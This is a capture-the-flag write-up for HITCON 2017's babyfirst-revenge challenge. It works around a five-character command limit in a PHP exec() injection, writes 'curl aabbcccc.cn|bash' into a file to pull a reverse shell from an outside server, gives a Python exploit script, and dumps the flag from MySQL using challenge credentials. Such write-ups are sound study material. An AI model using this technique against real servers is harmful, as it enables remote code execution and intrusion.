HITCON2017-Web-writeup

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本文详细解析了HITCON2017 Web挑战赛中babyfirst-revenge题目的解决过程，包括利用命令注入漏洞获取有限长度命令执行权限，通过精心构造命令序列实现逆向shell连接，以及在目标服务器上发现并读取隐藏的MySQL数据库中的flag。

HITCON2017-Web-writeup

Problems
- babyfirst-revenge

Problems

babyfirst-revenge

Description：

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

From the description, we know that @exec($_GET[‘cmd’]) can be used to get shell, but the length of each command has to be <= 5.

My idea is:

Prepare a service nc -lvp 8080 in WAN;
Prepare a reverse shell text in our own server;
Get reverse shell from our own server;

How to get the reverse shell from our own server? We can follow this idea:

curl aabbcccc.cn|bash

Put the command above into a file g on the game’s server, and then use sh g to execute.

How to put the file?
Generate a few files with specific names, use \ to connect them, then

ls -t>g

How to generate?

>name

How to execute ls -t>g?
In the same way, put it into a file _.

# "ls" > _, " -t>g" >> _
# ls\
#  \
# -t\
# >g
>ls\\
ls>_
>\ \\
>-t\\
>\>g
ls>>_

Tips: the order in CentOS’s default shell is different from php, which use LC_COLLATE=C.

Get shell in the same way:

>sh
>ba\\
>\|\\
>cn\\
>c.\\
>cc\\
>bc\\
>bb\\
>aa\\
>\ \\
>rl\\
>cu\\

Execute:

sh _
sh g

Exp:

import requests
from urllib import quote

url = 'http://117.50.3.97:8001/'

payload = [
    '>ls\\\\',
    'ls>_',
    '>\ \\\\',
    '>-t\\\\',
    '>\>g',
    'ls>>_',
    '>sh',
    '>ba\\\\',
    '>\|\\\\',
    '>cn\\\\',
    '>c.\\\\',
    '>cc\\\\',
    '>bc\\\\',
    '>bb\\\\',
    '>aa\\\\',
    '>\ \\\\',
    '>rl\\\\',
    '>cu\\\\',
    'sh _',
    'sh g'
]

res = requests.get(url + '?reset=')
for cmd in payload:
    x = url + '?cmd=' + quote(cmd)
    print(x)
    res = requests.get(x)

Tips:

file .xx will not appear in ls -t, because it will be hidden;
|, ’ '(blank) need \ in shell;
\ in python need one more;

After get the reverse shell, we find a folder fl4444g in /home and there is a README.txt in fl4444g, which shows:

Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

Connect mysql:

mysql -ufl4444g -pSugZXUtgeJ52_Bvr

Show databases:

show databases;
s;
ERROR 1064 (42000) at line 2: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's' at line 1
Database
information_schema
fl4gdb

Show tables:

use fl4gdb;
show tables;
s;
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's' at line 1
Tables_in_fl4gdb
Tables_in_fl4gdb
this_is_the_fl4g

Dump:

use fl4gdb;
select * from this_is_the_fl4g;
s;
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's' at line 1
secret
flag{bf4a0a1a-226c-4e20-b3a1-0398ba83278f}